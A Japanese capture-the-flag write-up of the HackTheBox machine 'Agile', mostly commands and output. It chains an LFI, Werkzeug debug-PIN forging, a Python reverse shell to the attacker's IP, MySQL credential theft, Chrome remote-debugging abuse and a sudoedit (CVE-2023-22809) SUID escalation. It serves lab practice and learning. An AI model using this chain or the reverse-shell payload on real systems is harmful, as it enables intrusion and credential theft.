今回は、HackTheBoxのMediumマシン「Agile」のWriteUpです!
名前からはAgile/CICD Workflowしか思い浮かばないですが、どのようなマシンなのでしょうか。
グラフは、よく見るMediumの形をしていますね。
評価も高いので学びが多そうです!
HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう~。
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Agile
侵入
では、まずはいつものようにポートスキャンから行いましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ sudo nmap -n -Pn -v -T4 -p- -sS --min-rate=1000 -A 10.10.11.203 -oN nmap.log
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_ 256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
22番と80番を確認しました。
80番を確認したので、実際にアクセスしてみましょう。
パスワードを管理するサイトが表示されました。
画面の右上を見ると、Login
があるので、押下してみましょう。
ログイン画面が表示されました。
何回かSQLインジェクションの発火を試みましたが、発火しなかったため、脆弱ではないようです。
ログイン画面をよく見てみると、Login
のほかに、Register
という文字があることがわかります。こちらも押下してみます。
新規登録ページが表示されました。
適当にユーザを登録してみましょう。
ホーム画面が表示されました。Add a password
というボタンがあるので、passwordを追加することが出来そうです。実際に追加してみましょう。
ボタンを押下すると、site
とUsername
を入力できるようになるので、test
と入力しておきます。パスワードは自動で入力されるので、この状態で一番左の保存のマークを押下します。
パスワードが保存されました。
追加の流れは確認できたので、次は横にあるExport
を見てみたいと思います。ボタンを押下しましょう。
CSVファイルがダウンロードされ、ファイル内に先ほど作成した認証情報が記述されています。
ここまでがパスワード管理サイトの一連の流れのようです。
Local File Inclusion(LFI)
一通り確認しましたが、サイトを見ているだけでは特に悪用できそうな点は見つかりません。こういう時は探索を行い、新たなディレクトリやサブドメインを見つけます。
まずは、ディレクトリ探索を行います。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ gobuster dir -u http://superpass.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -o gobuster.log
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://superpass.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2023/08/04 09:37:03 Starting gobuster in directory enumeration mode
===============================================================
http://superpass.htb/download (Status: 302) [Size: 249] [--> /account/login?next=%2Fdownload]
http://superpass.htb/static (Status: 301) [Size: 178] [--> http://superpass.htb/static/]
http://superpass.htb/vault (Status: 302) [Size: 243] [--> /account/login?next=%2Fvault]
Progress: 20465 / 20477 (99.94%)
===============================================================
2023/08/04 09:43:03 Finished
===============================================================
download
というディレクトリを発見しました!
実際にアクセスしてみましょう。
エラーが出力されました。/tmp/None
というファイルが見つからないようです。
Tracebackには、エラーの詳細が書かれています。確認してみると、一番下のエラーが気になりました。
File "/app/app/superpass/views/vault_views.py", line 102, in download
with open(f'/tmp/{fn}', 'rb') as f:
このエラーでは、/tmp
ディレクトリ内にあるfn
で指定されたファイルを開こうとしていることが分かります。
今回のリクエストではdownload
にアクセスしただけで、fn
の指定は行っていません。このことから、もしかするとfn
を指定しなかったことでNone
というファイルが選択されたのではないかと想定することができます。
この想定を確実にするために、download?fn=test
のようにパラメータを追加し、再度リクエストを送信します。
次は、/tmp/test
が見つからないというエラーが表示されました!
これにより、ファイルをこちら側で指定することが可能であると分かりました。ファイルを指定できるといえば真っ先に「LFI」が浮かび上がります。
ディレクトリは/tmp
だと分かっているので、LFIに脆弱な場合、../etc/passwd
でファイルを取得することが出来そうです。リクエストを送信してみましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../etc/passwd
root:x:0:0:root:/root:/bin/bash
corum:x:1000:1000:corum:/home/corum:/bin/bash
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
passwdファイルが出力されました!ホームディレクトリを持つユーザ以外は省略していますが、今回は3人も確認できているので、横移動が多いかもしれませんね。
では、LFIに脆弱であることがわかったので、他のファイルを確認していきます。どのようなファイルを出力させていくかです。ここで思い出してほしいのは、先ほどのエラー文です。
File "/app/app/superpass/views/vault_views.py", line 102, in download
with open(f'/tmp/{fn}', 'rb') as f:
パラメータの存在を教えてくれたこのエラー文ですが、パラメータだけでなくvault_views.py
というファイルの存在も確認することができます。
では、このファイルの内容を見てみましょう。量がそこそこ多いので記事では重要な部分のみを書き出します。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../app/app/superpass/views/vault_views.py
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
password = password_service.get_password_by_id(id, current_user.id)
return {"p": password}
コードを見ることで、/vault/row/<id>
にリクエストが行われた際、パスで指定されたidと現在のユーザのidが一致した場合にパスワードが出力されることがわかりました。現在のidを他のユーザのidで指定することができれば、他のユーザのパスワードを取得することが出来そうです。
注意
リリースから一週間後に、この脆弱性は修正されてしまいました。
修正前は、id
を変更することでcorumユーザのパスワードを取得可能でした。
Flask Debug Execution
すでにWebにアクセスしていると気付くかもしれませんが、このアプリケーションではFlaskが実行されています。また、エラーの出力からデバッグモードで実行されていることもわかります。
再度、エラーの詳細を確認してみると、カーソルを置いた行にコンソールのアイコンが表示されることが分かります。適当に押下してみましょう。
PINを入力するポップアップが表示されました。適切なPINを入力し、コンソールへ移ることができればシェルを取得することが出来そうです。
まず、Flaskがどのような処理でPINを生成するのか調べてみます。とりあえず、私の好きなHackTricksでFlask PIN
と調べると、有用な記事を発見しました。
記事にはPINの生成に必要な情報が挙げられています。改めて確認しておきます。
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
それぞれの情報を一つずつ求めていきましょう。
まずは、username
です。こちらはenviron
ファイルに対してLFIを使用し、求めることが可能です。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../proc/self/environ --output environ
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 260 100 260 0 0 780 0 --:--:-- --:--:-- --:--:-- 783
outputを指定する必要があります。curlがうまく実行出来たら、内容を確認しましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ cat environ
LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/var/wwwLOGNAME=www-dataUSER=www-dataINVOCATION_ID=a319c6b59e8f46f1b65c77e874545cb1JOURNAL_STREAM=8:32951SYSTEMD_EXEC_PID=1093CONFIG_PATH=/app/config_prod.json
usernameはwww-data
であることが分かりました。
では、次にmodname
とgetattr(app, '__name__', getattr(app.__class__, '__name__'))
ですが、こちらはflask.app
とFlask
だと決まっているようです。
では、4番目のgetattr(mod, '__file__', None)
ですが、flaskディレクトリ内の絶対パスを指定するようです。
こちらはエラー画面に表示されているapp.py
へのフルパスを指定します。
再度情報を整理しておきましょう。
probably_public_bits = [
'www-data',
'flask.app',
'Flask',
'/app/venv/lib/python3.10/site-packages/flask/app.py',
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
ここまででprobably_public_bits
の情報は求めることができました。
この調子でprivate_bits
の情報も求めていきましょう。
まず最初のstr(uuid.getnode())
です。ここにはMACアドレスの10進数を指定する必要があるようです。/sys/class/net/<Interface>/address
から求めることが可能なので、curlでリクエストを送ってみましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../sys/class/net/eth0/address
00:50:56:b9:84:6f
MACアドレスが出力されました!
10進数を計算します。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 -c 'print(0x005056b9846f)'
345052382319
10進数が計算できました!
それでは、最後にget_machine_id()
を求めていきます。これは関数そのままですが、ターゲットのマシンIDを指定します。/etc/machine-id
から求めることが可能です。curlを実行しましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../etc/machine-id
ed5b159560f54721827644bc9b220d00
マシンIDも取得することが出来ました。しかし、これだけでは機能しません。HackTricksにも書いてありますが/proc/self/cgroup
の最後の/
以降の値が必要です。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ curl -H "Cookie: session=<Session>; remember_token=<Token>" http://superpass.htb/download?fn=../proc/self/cgroup
0::/system.slice/superpass.service
最後の/
以降の値、つまりsuperpass.service
を先ほどのマシンIDと連結させることで機能します。
これですべての情報が揃ったので、HackTricksの一番下にあるスクリプトを参考にし、必要な箇所を書き換えていきます。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ cat pin.py
~~~
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345052382319', # str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
~~~
スクリプトが用意できたので、実際にPINを生成しましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 pin.py
225-435-098
PINが生成できました。では、コンソールにアクセスできるか試してみましょう。
PINが通りませんでした。。。
どこか間違えていないか何度も確認しましたが、特に間違えている部分はないように見えます。
ここで私は一度Agileの攻略から離れ、かなりの時間が経ちました。
分からない状態が続いていたのですが、惜しいところまで攻略できていそうだという認識から攻略を再開しました。
では、何を試すのかですが、私はデフォルトで指定されていた部分に違いがあるのではないかと予想し、probably_public_bits
で指定した2番目の値と3番目の値を可能性があるものに変更し続けました。
正直、気が遠くなるような作業でしたが、この行動が次にステップに繋がりました。
私はエラー文にline <number> in wsgi_app
という出力があることを確認し、3番目の値をwsgi_app
へ変更しました。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ cat pin.py
~~~
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345052382319', # str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
~~~
変更後、PINを生成します。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 pin.py
126-024-737
生成できたので、PINを入力し、コンソールへアクセスできるか試してみます。
写真では分かりにくいかもしれませんが、console ready
という表示がされており、アクセスできたことが分かります!!この瞬間はかなり嬉しかったです。
それでは、コマンドを実行していきましょう!
まずは、試しにid
コマンドを実行してみます。
[console ready]
>>> os.popen('id').read()
'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n'
idコマンドの実行がうまくいきました!
www-dataとしてのシェル
それでは、本命のリバースシェルを取得してきたいと思います。
実行前に、Kali側で待ち受けておきます。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
待ち受けが完了したので、コマンドを実行します。
今回は、FlaskなのでPythonのリバースシェルコマンドを実行させます。
>>> import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",2121));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
待ち受け側を確認してみましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.203] 48874
$ whoami
www-data
侵入に成功しました!!普通に泣きそうでした。
流石に見にくいので、シェルのアップグレードは忘れずに行っておきましょう。
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
(venv) www-data@agile:/app/app$
横移動
正直侵入だけでもかなりの体力を消耗しましたが、続けて横移動、権限昇格も頑張ります。
まずは、改めてユーザの存在を確認します。
(venv) www-data@agile:/app/app$ ls -l /home
total 12
drwxr-x--- 8 corum corum 4096 Feb 8 16:29 corum
drwxr-x--- 2 dev_admin dev_admin 4096 Feb 8 16:29 dev_admin
drwxr-x--- 5 edwards edwards 4096 Feb 8 16:29 edwards
先ほどLFIで確認したユーザと同じユーザが存在しています。
とりあえず、それぞれのユーザが保有するファイルを見てみましょう。
まずは、dev_admin
からです。
(venv) www-data@agile:/app$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json
まだ、一人目ではありますが、この出力には気になる点があります。
それは、/app
配下に所有するファイルがあることです。もしかすると、www-dataユーザにも権限があるかもしれません。それぞれのファイルの権限を見てみると、config_prod.json
に権限があることが分かりました。
(venv) www-data@agile:/app$ ls -l
total 24
drwxr-xr-x 5 corum runner 4096 Feb 8 16:29 app
drwxr-xr-x 9 runner runner 4096 Feb 8 16:36 app-testing
-r--r----- 1 dev_admin www-data 88 Jan 25 2023 config_prod.json
-r--r----- 1 dev_admin runner 99 Jan 25 2023 config_test.json
-rwxr-xr-x 1 root runner 557 Aug 6 08:27 test_and_update.sh
drwxrwxr-x 5 root dev_admin 4096 Feb 8 16:29 venv
設定ファイルのようです。認証情報がないか見てみましょう。
(venv) www-data@agile:/app$ cat config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
mysqlの認証情報を発見しました!
mysql
それでは、実際にアクセスしてみましょう。
(venv) www-data@agile:/app$ mysql -u superpassuser -p
Enter password: dSA6l7q*yIVs$39Ml6ywvgK
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 76
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
アクセスに成功しました!
ここからはいつものように列挙を進めていきます。まずはDBを確認しましょう。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| superpass |
+--------------------+
3 rows in set (0.00 sec)
superpassというデータベースが存在しています。
DBを選択しましょう。
mysql> use superpass
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
データベースの選択ができたので、テーブルを確認します。
mysql> show tables;
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords |
| users |
+---------------------+
2 rows in set (0.01 sec)
かなり気になる2つのテーブルが表示されました!passwords
テーブルを見てみましょう。
mysql> select * from passwords;
select * from passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
5 rows in set (0.00 sec)
複数の認証情報が出力されました!
一番気になるのは、urlがagileとなっているcorumユーザの認証情報です。SSH接続で使用できるか試してみましょう。
corumとしてのシェル
それでは、取得した認証情報を使用し、SSH接続を行いましょう。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh corum@10.10.11.203
corum@10.10.11.203s password:
corum@agile:~$ whoami
corum
横移動に成功しました!
corum@agile:~$ ls -l
total 4
-rw-r----- 1 root corum 33 Aug 4 01:48 user.txt
フラグは、corumユーザで取得することができました!
横移動
先ほども確認しましたが、今回は3人のユーザが存在するため確定でまだ横移動が必要だと思います。
ちなみに、sudo -l
を実行することはできませんでした。
corum@agile:/home$ sudo -l
[sudo] password for corum:
Sorry, user corum may not run sudo on agile.
では、それぞれのユーザが保有するファイルを検索するところから始めてみましょう。
まずは、dev_admin
です。
corum@agile:/home$ find / -user dev_admin 2>/dev/null
/home/dev_admin
/app/app-testing/tests/functional/creds.txt
/app/config_test.json
/app/config_prod.json
次に、edwards
です。
corum@agile:/home$ find / -user edwards 2>/dev/null
/home/edwards
それぞれ調べてみましたが、全て読み込み権限がありませんでした。
では、次に何を調べるかですが、実行されているサービスを確認することにしました。
netstatを実行してみましょう。
corum@agile:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:57103 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5555 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41829 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:57103 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
新たに、多くのポートを確認できました。MySQLにアクセスできるかと思い、認証を試しましたが、アクセスすることはできなかったので、41829
という珍しいポートに目を向けてみます。
詳細を確認するため、ps faux
を実行してみましょう。
corum@agile:~$ ps faux | grep 41829
runner 1805 0.7 2.6 34023456 104128 ? Sl 02:10 0:00 \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.Dm0AnU --window-size=1420,1080 data:,
runner 1869 2.5 3.9 1184764352 158988 ? Sl 02:10 0:01 | \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1812 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1691113657820345 --launch-time-ticks=1344602116 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,12316113268408036803,4134764861594454744,131072 --disable-features=PaintHolding
corum 1883 0.0 0.0 4020 1996 pts/0 S+ 02:10 0:00 \_ grep --color=auto 41829
どうやらGoogle Chromeのリモートデバッグを行うプロセスのようです。
Exploit Notesで、情報を調べてみると、かなり有用な記事を見つけました。
Exploit Notesによると、SSHでポートフォワーディングを行い、network target
にポートを登録することでターゲット上のブラウザを見ることができるようです。
では、手順に沿って実行してみます。まずはSSHポートフォワーディングを行います。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829
これで、ポートフォワーディングは完了です。
次に、network target
にポートを登録していきます。
Doneを押下すると、ポートの登録が完了します。
ポートを登録することができたら、Target
欄のinspect
を押下しましょう。ターゲットのブラウザが見えるはずです!
このブラウザはこちらから操作することが可能です。そしてよく見ると、右上にLogout
が表示されており、現在ログインしている状況であることが分かります。。
つまり、Vault
にアクセスすることで、既に登録されているパスワードを見ることが出来そうです!押下してみましょう。
edwardsユーザのパスワードを発見しました!
edwardsとしてのシェル
では、取得したパスワードを使用しSSH接続を行いましょう!
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ ssh edwards@10.10.11.203
edwards@10.10.11.203s password:
edwards@agile:~$ whoami
edwards
横移動成功です!
権限昇格
ネタバレとなってしまいますが、dev_adminユーザのシェルは取得する必要はありませんでした。
いよいよラストステージです。頑張っていきましょう!
まずは、sudo -l
を実行します。
edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
sudoeditをdev_adminの権限で実行できるようです。dev_adminの権限ですが、権限昇格に繋がりそうな匂いがかなりします。なので、sudoeditの脆弱性を探してみました。するとこちらもExploit Notesに有用な情報がありました。
バージョンにもよりますが、どうやら、EDITOR
という環境変数にvimとファイル名を指定することで書き込むことが可能になるようです。Exploit Notesでは、/etc/sudoers
を指定されていますが、今回のsudo権限は、dev_adminのものなので、/etc/sudoers
を指定することはできません。
では、どのようなファイルであればいいのかというと、「dev_adminが書き込み権限を持ち、rootにより実行されているファイル」です。
CVE-2023-22809
そのようなファイルが果たしてあるのでしょうか?と思ってしまいますが、pspy64
を使用し、探してみましょう。
ターゲットにpspy64
を送るために、サーバを立ち上げます。
🐧+[~/Agile]
Ex9loit👾<10.10.14.5>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
立ち上げに完了したので、ターゲット側でwget
を実行します。
edwards@agile:~$ wget 10.10.14.5/pspy64
--2023-08-04 04:11:59-- http://10.10.14.5/pspy64
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[==============================================>] 2.96M 762KB/s in 4.0s
2023-08-04 04:12:04 (762 KB/s) - ‘pspy64’ saved [3104768/3104768]
ダウンロードさせることができたら、実行権限を付与します。
edwards@agile:~$ chmod +x pspy64
これで準備は完了です!pspy64
を実行しましょう。
edwards@agile:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
2023/08/04 04:17:01 CMD: UID=0 PID=5545 | /usr/sbin/CRON -f -P
2023/08/04 04:17:01 CMD: UID=0 PID=5544 | /bin/bash -c source /app/venv/bin/activate
定期的に実行されているタスクとして、root権限でactivate
が実行されています!
では、書き込み権限があるか見てみましょう。
edwards@agile:~$ ls -l /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug 4 04:21 /app/venv/bin/activate
書き込み権限があります!
このファイルを環境変数として指定することで、権限昇格が行えそうです!
まずは、環境変数を設定します。
edwards@agile:~$ export EDITOR="vim -- /app/venv/bin/activate"
設定ができたら、sudo sudoedit
を実行します。
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
実行すると、vimが立ち上がり、ファイルの編集が可能になります。
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
deactivate () {
# reset old environment variables
if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
PATH="${_OLD_VIRTUAL_PATH:-}"
export PATH
unset _OLD_VIRTUAL_PATH
fi
if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
export PYTHONHOME
unset _OLD_VIRTUAL_PYTHONHOME
fi
状況を説明すると、先ほど指定したactivate
という名前のスクリプトをvimで開いています。本来、sudoeditでconfig_test.json
を指定しましたが、EDITOR
という環境変数に書き込むことで、コマンドとして実行されました。
ここまでくれば、やりたい放題です。今回は/bin/bash
にSUIDを付与することで、権限昇格を行いたいと思います。SUIDを付与するコマンドをコメントの下に追加します。
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
chmod u+s /bin/bash # add command
deactivate () {
# reset old environment variables
if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
PATH="${_OLD_VIRTUAL_PATH:-}"
export PATH
unset _OLD_VIRTUAL_PATH
fi
if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
export PYTHONHOME
unset _OLD_VIRTUAL_PYTHONHOME
fi
入力できたら、保存して終了します。
あとは、少し時間をおいてスクリプトが実行されるのを待ちましょう!
rootとしてのシェル
それでは、SUIDが付与できたか見てみましょう。
edwards@agile:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
付与されています!
では、あとはbashを実行するだけです!
edwards@agile:~$ bash -p
edwards@agile:~# whoami
root
権限昇格成功です!
edwards@agile:/root# ls -l
total 20
drwxr-xr-x 5 root root 4096 Feb 8 16:29 app
-rwxr-xr-x 1 root root 31 Jan 25 2023 clean.sh
-rw-r----- 1 root root 33 Aug 4 01:48 root.txt
-rw-r--r-- 1 root root 2293 Feb 28 16:50 superpass.sql
-rw-r--r-- 1 root root 3274 Feb 6 17:06 testdb.sql
フラグも取得し、完全攻略達成です!
攻略を終えて
攻略を終えた正直な感想としては、「難しすぎる」ということです。とくに正しい値のPINを生成するフェーズは一度攻略を中断するレベルで、生成に成功したときは泣きたいほど喜んだことを覚えています笑
こんなに難しかったにも関わらず、グラフが普通の難易度であるのは、恐らくですがIDORのパッチが適用される前に認証情報を取得してしまった人が多いからだと思います。確かに修正が入る前のAgileはPINを生成せずに攻略できるので、一段階と言わず二段階ほどレベルが落ちる気がします。絶望との闘いでしたが、試せるところを諦めずに試し続けたことが攻略につながったのかなと思います。
今回のマシンの最初の入り口としては、LFIになります。やはりLFIにより非公開であるはずの情報が見られてしまうというのは大きな被害につながるので、開発段階から十分に気を付ける必要がありますね。また、今回はMySQLにアクセスし認証情報を取得できたことで横移動が可能となりました。MySQLの認証情報は仕方がないとしても、DBに保存する認証情報は暗号化を行うなど随所でのセキュリティ対策を意識する必要がありそうです。
今後もHackTheBoxのWriteUpを投稿するので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました~!